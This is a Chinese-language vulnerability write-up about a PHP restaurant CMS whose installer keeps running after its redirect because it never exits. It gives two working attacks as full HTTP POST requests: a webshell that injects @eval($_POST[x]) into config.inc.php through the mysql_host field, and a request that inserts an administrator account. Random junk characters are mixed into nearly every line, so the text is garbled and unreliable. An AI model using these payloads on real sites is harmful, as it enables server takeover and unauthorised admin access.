问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
0 ~. l5 f* k7 u! w: J* B' g9 h; ]5 s' b4 G2 d
<?php
1 \ J/ `* o5 `2 fif(file_exists("../install.lock"))
0 p/ m0 R3 c) q* ?; A{
1 g$ @2 |% H$ i2 c' Q header("Location: ../");//没有退出
& c* J, ~4 B, _' O& W}. z+ }9 U( t/ Z' L5 h. h
' h/ k' a7 E4 E7 I( v8 [8 n+ c
//echo 'tst';exit;
. G4 ?2 ?+ w$ b# J* a arequire_once("init.php");
) k' @4 d8 N" J# [if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
( y, o6 l) j$ h Y6 h" e{
: Z0 T; h3 b4 \% n4 M- ]2 Z( Z可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。# w" c3 R' g) s' s" h. M$ X; _, u
. ~0 C+ N! d1 v$ t) N0 P* a
1、getshell(很危险)
4 L3 p T h r" j, Q. T, sif(empty($_REQUEST['step']) || $_REQUEST['step']==1)/ P# g; t- d3 M* f/ b2 w6 h4 |
{
9 I* V3 g7 E3 [: { S, W/ q$smarty->assign("step",1);" [. k( d( F6 R
$smarty->display("index.html");! p; k3 P. ~, O, D; R# A9 g
}elseif($_REQUEST['step']==2)
) J8 F' ^6 o" B{
5 U Y3 ]: R1 [( \3 b $mysql_host=trim($_POST['mysql_host']);
" Q9 F7 `7 e7 _# M, p: \ $mysql_user=trim($_POST['mysql_user']);/ E. ~/ w1 r# O
$mysql_pwd=trim($_POST['mysql_pwd']);
/ q/ }7 t2 F+ l& O5 |5 f $mysql_db=trim($_POST['mysql_db']);: w6 f i/ K& W# J4 Y# \
$tblpre=trim($_POST['tblpre']);) K7 T) l n+ J1 l: Z
$domain==trim($_POST['domain']);. B3 r! f7 G: p7 v
$str="<?php \r\n";' I( [* `) L) Y2 e! I' W! @
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";$ Y f j- o1 g5 ^, n: y$ @
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
K" x, X' \5 n! u( w9 G $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";9 k( K/ y1 @9 x7 t( S6 V" _
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
& O4 b4 }9 U) A0 Q9 ?: }. J $str.='define("MYSQL_CHARSET","GBK");'."\r\n";& V4 [/ X3 @) I! D2 h
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
/ X: ]; a! D( V4 J6 f $str.='define("DOMAIN","'.$domain.'");'."\r\n"; t Z* u& R/ c6 ^
$str.='define("SKINS","default");'."\r\n";7 s# p: h1 ^: E% h5 c! U
$str.='?>';- o; V) p6 R/ c8 C& c: D& M5 N2 ^
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件) m! h8 G3 V' O1 F/ K8 m' v: C5 C$ J
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马, z0 \) V! u8 d" z- G9 t: ]9 m! F
POST /canting/install/index.php?m=index&step=2 HTTP/1.1" y0 G. k1 k* W* K# l6 b% S
Host: 192.168.80.129
0 i+ ^+ d& Q4 @* E3 m$ |User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
% I; e$ D6 F& w+ _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 ~5 B7 G! b$ y! L; O5 x; D1 I
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
2 |9 O9 K; k! q8 t0 PAccept-Encoding: gzip, deflate
3 W) f, E4 \& q( \% b! [9 j& MReferer: http://192.168.80.129/canting/install/index.php?step=1. a ~. x4 d# }% c
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc423 {2 H+ {& d) a4 {
Content-Type: application/x-www-form-urlencoded: I" x% G8 w8 S) J+ f1 g5 k; f
Content-Length: 126
& J7 L% Y( z T& o/ O \% E2 |$ C% ?% T! U- X
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
$ E7 H' w. B# n, W: q但是这个方法很危险,将导致网站无法运行。3 C9 D! Y: X* P- H- B% [0 S6 j
1 f- }$ o. q& k0 S/ e. U2、直接添加管理员
+ U/ r) ]9 A$ @( b B4 |8 V5 l. U& W
elseif($_REQUEST['step']==5)
# s" a& j8 d+ f$ G: g+ P$ s{
( s" F& ~9 T/ e. b if($_POST)
; `4 Q; ^! E: I# @ { require_once("../config/config.inc.php");. u( V# ?8 T2 e. ]0 l4 n
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
+ v5 O% o* Q2 G* } mysql_select_db(MYSQL_DB,$link);
, l) {1 A4 p7 F! m mysql_query("SET NAMES ".MYSQL_CHARSET );
, i5 o' C3 t( Y/ I h; N mysql_query("SET sql_mode=''");
0 c. E% `3 h: C
9 \9 M; V Q! u, y" _ $adminname=trim($_POST['adminname']);- u* K0 _( W7 x
$pwd1=trim($_POST['pwd1']);
5 C4 V4 J2 |% h6 P9 D6 v $pwd2=trim($_POST['pwd2']);5 E& s) ?# i! i3 j& j: {+ I
if(empty($adminname))
+ f7 N+ o$ n( z$ X7 }+ ]$ g- j {
& T2 u+ ?- N1 ] { U; I7 i8 }* b; b0 b2 i" w
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
/ u. L |6 Q$ K( \4 p6 A" d exit();
% U& n5 n5 `" N' p8 M1 t; O }2 N% r+ ?. p: G8 ~6 g
if(($pwd1!=$pwd2) or empty($pwd1))+ o" Q# P: r: v- X
{1 S5 f# p3 b" N3 }2 t+ N5 p
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
+ `6 S7 b- k5 a0 P }2 c( ?& t- n( r4 k( |
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员! T6 C- ^* F* T. b
}
( A6 d2 W2 G/ R* _+ i这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
! \( z1 b/ m% a# O4 {6 R; f- VPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
; v: _0 }6 T B; c0 VHost: 192.168.80.129
, {8 r# V( Q) Y$ j! T& oUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.03 o9 | k9 U! N# \/ G
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
$ G' {5 H7 L9 C! N9 ?& E5 ^& l3 `3 |8 `7 [( aAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3( B4 J( j2 P H/ l/ L9 z* i
Accept-Encoding: gzip, deflate
3 L5 B2 M& f' wReferer: http://www.2cto.com /canting/install/index.php?step=1
. b. ^# \1 k3 @" T! VCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42. E! w7 {- D& \( M/ J' v
Content-Type: application/x-www-form-urlencoded
/ g" U! u/ s5 @- H9 U }6 AContent-Length: 467 D/ i0 [6 g7 F' K& T p" I7 j! P0 x
4 {; w0 X5 K# K0 f3 ^
adminname=qingshen&pwd1=qingshen&pwd2=qingshen# T. b2 A, D, |) G' r
|